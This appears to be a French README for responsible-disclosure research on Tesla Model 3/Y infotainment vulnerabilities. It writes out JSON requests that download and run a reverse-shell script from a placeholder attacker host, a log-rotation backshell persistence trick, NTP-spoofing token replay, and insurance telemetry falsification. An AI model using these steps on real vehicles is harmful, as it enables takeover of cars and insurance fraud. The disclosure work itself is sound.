
Recherche de vulnérabilités sur les systèmes d'infodivertissement des Tesla Model 3/Y. 6 vulnérabilités, 4 CVEs (CVE-2022-42005 à CVE-2022-42008). Shell root, accès persistant, usurpation de télémétrie d'assurance.
Recherche de vulnérabilités sur le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom, Linux 4.14.235), divulguée de manière responsable à Tesla via Bugcrowd.
Obtenu un accès root persistant sur une Tesla Model 3 de production via une vulnérabilité d'injection de commandes dans l'interface de diagnostic ODIN de Tesla (CVE-2022-42008). De là, découvert cinq vulnérabilités supplémentaires — dont une méthode de persistance qui survit aux mises à jour du firmware (CVE-2022-42005, CVE-2022-42006) et une méthode pour usurper la télémétrie d'assurance Safety Score qui a directement réduit les primes mensuelles de 130 $ à 83 $.
Six vulnérabilités dans ODIN, hermes et Safety Score. Quatre CVE. Récompensé via Bugcrowd et inscrit au programme SSH Security Researcher de Tesla.
| Découverte | CVE | Impact | Statut | Récompense |
|---|---|---|---|---|
| Root Shell via ODIN | CVE-2022-42008 | Shell root via injection de commandes | Corrigé (2021.32.10) | Prime Bugcrowd |
| Jetons ODIN expirés | CVE-2022-42007 | Rejeu de jetons via usurpation NTP | Corrigé (2021.32.10) | Prime Bugcrowd |
| Téléversement vers Mothership | — | Téléversement arbitraire de fichiers vers les serveurs Tesla | Marqué N/A | — |
| Backshell via logs + Accès DV | CVE-2022-42005, CVE-2022-42006 | Accès persistant survivant aux mises à jour du firmware | Corrigé | Prime Bugcrowd |
| Usurpation de télémétrie d'assurance | — | Safety Score usurpé réduit les primes d'assurance | Aucun correctif confirmé | — |
| Défusion ODIN | — | Toute tâche ODIN sans authentification | Aucun correctif confirmé | — |
Le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom) exécute un OS basé sur Linux avec plusieurs surfaces d'attaque identifiées lors de cette recherche :
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Rapports complets : Root Shell via ODIN | Backshell via logs + Accès DV
L'interface de diagnostic ODIN expose une tâche appelée TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK qui accepte un paramètre MicTest-Input — une liste de chaînes passées directement à CID_EXEC pour exécution en tant que root. Tout abonné avec le niveau d'accès le plus bas de Toolbox (tbx-external) peut déclencher cette tâche en se connectant au port de diagnostic de la voiture et en envoyant une requête POST. Les chaînes d'entrée sont exécutées textuellement, donc l'attaque se fait en deux requêtes : d'abord, télécharger un script de reverse shell sur la voiture via curl :
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Puis l'exécuter :
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Avec un shell root établi, l'accès persistant est obtenu en détournant la configuration de rotation des logs svlogd. La commande de compression gzip standard est remplacée par un script qui ouvre un backshell sous le compte log chaque fois que les logs tournent :
!sh /var/log/wpa_supplicant/gzip.sh -c
Le fichier de configuration est rendu immuable avec chattr +i, garantissant qu'il survive aux mises à jour du firmware. Bien que le compte log ne puisse pas utiliser la commande standard sdv pour définir des valeurs de données (dbus la rejette), le prototype_server dormant de Tesla fournit un accès websocket non restreint à toutes les valeurs de données lorsqu'il est activé via settings.conf. Un ensemble personnalisé de scripts shell (sdv, lv, send.sh) émulent un client websocket pour interagir avec ce serveur.
La boîte à outils de persistance complète est contrôlée via la boîte de saisie du code d'accès de la voiture (visible en appuyant longuement sur le modèle de voiture sur l'écran tactile), qui est surveillée par un script d'écoute qui distribue des commandes — y compris l'ouverture de backshells, la définition de valeurs de données et l'activation/désactivation des modes de service.
Le point de terminaison de génération de jetons ODIN de Tesla accepte les tbx-tokens expirés et — de manière critique — renvoie également le tbx-token de l'utilisateur dans la réponse, permettant une fuite de jetons via le partage. Les jetons ODIN expirés sont normalement rejetés par le véhicule, mais en usurpant la source de temps NTP de la voiture via une interception basée sur ARP (ntpspoof.py), le véhicule peut être amené à accepter des jetons au-delà de leur date d'expiration. La passerelle détecte la falsification NTP (GTW_w149_rtcTimeSetInPast) mais n'agit pas sur ce signal.
En utilisant les certificats de la voiture depuis /var/lib/car_creds/, le service hermes_proxy peut être démarré sur une machine locale, fournissant un accès direct au serveur Mothership de Tesla. Le point de terminaison de sauvegarde de profil (/vehicles/${VIN}/computer_profile) accepte des téléversements de fichiers arbitraires sans validation — une seule commande curl téléverse n'importe quel fichier vers l'infrastructure de production de Tesla. Tesla a marqué cette découverte comme N/A ("fonctionne comme prévu").
Le système Safety Score de Tesla collecte la télémétrie de conduite depuis le MCU et la téléverse vers Mothership pour le calcul des primes d'assurance. Avec un accès root, un échantillon de télémétrie avec un score parfait peut être capturé, ses valeurs d'odomètre encodées en protobuf gonflées via édition hexadécimale (en utilisant le schéma rétro-conçu à telemetry.proto), et les échantillons modifiés re-téléversés. Deux trajets fabriqués ont été acceptés par Mothership — dont un montrant environ 2 700 miles en 3,5 heures — réduisant directement les primes d'assurance mensuelles de 130 $ à 83 $. Le problème fondamental est que la télémétrie provient du MCU (accessible à l'utilisateur) plutôt que de l'unité de pilote automatique APE3 (renforcée). Tesla n'a pas émis de prime pour cette découverte.
Avec un accès root, le montage bind d'un faux script is-fused sur /usr/bin/is-fused et le redémarrage des services ODIN amène ODIN à croire que l'unité est en mode usine/développement. Dans cet état, toute tâche ODIN peut être exécutée sans jetons d'authentification — y compris des tâches qui pourraient désactiver l'alarme de la voiture (PROC_ICE_X_SET-DATA-VALUE), effacer le VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), ou potentiellement engager des fonctions critiques pour la sécurité du véhicule.
Cette recherche a été menée dans le cadre d'une recherche en sécurité responsable et signalée au programme de bug bounty de Tesla via Bugcrowd. Toutes les vulnérabilités avec des CVE attribuées ont été corrigées dans les versions actuelles du firmware. Ce dépôt est publié à des fins éducatives uniquement.
À la suite de cette recherche, l'équipe a reçu des primes financières via Bugcrowd et a été inscrite au programme SSH Security Researcher de Tesla, recevant des certificats SSH signés pour un accès de recherche continu.
Recherche menée pour le compte de SourceHat Labs Inc.
| Outil | Description |
|---|
| ntpspoof.py | Usurpation NTP basée sur ARP pour rejouer des jetons ODIN expirés (Python/scapy) |
| telemetry.proto | Schéma protobuf rétro-conçu pour la télémétrie Safety Score de Tesla (34 champs) |
| listen.sh | Écouteur de commandes de la boîte de code d'accès — interface de commande cachée via l'écran tactile |
| sdv | Définir une valeur de données via le websocket prototype_server |
| lv | Obtenir une valeur de données via le websocket prototype_server |
| send.sh | Construction de trames websocket pour la communication avec prototype_server |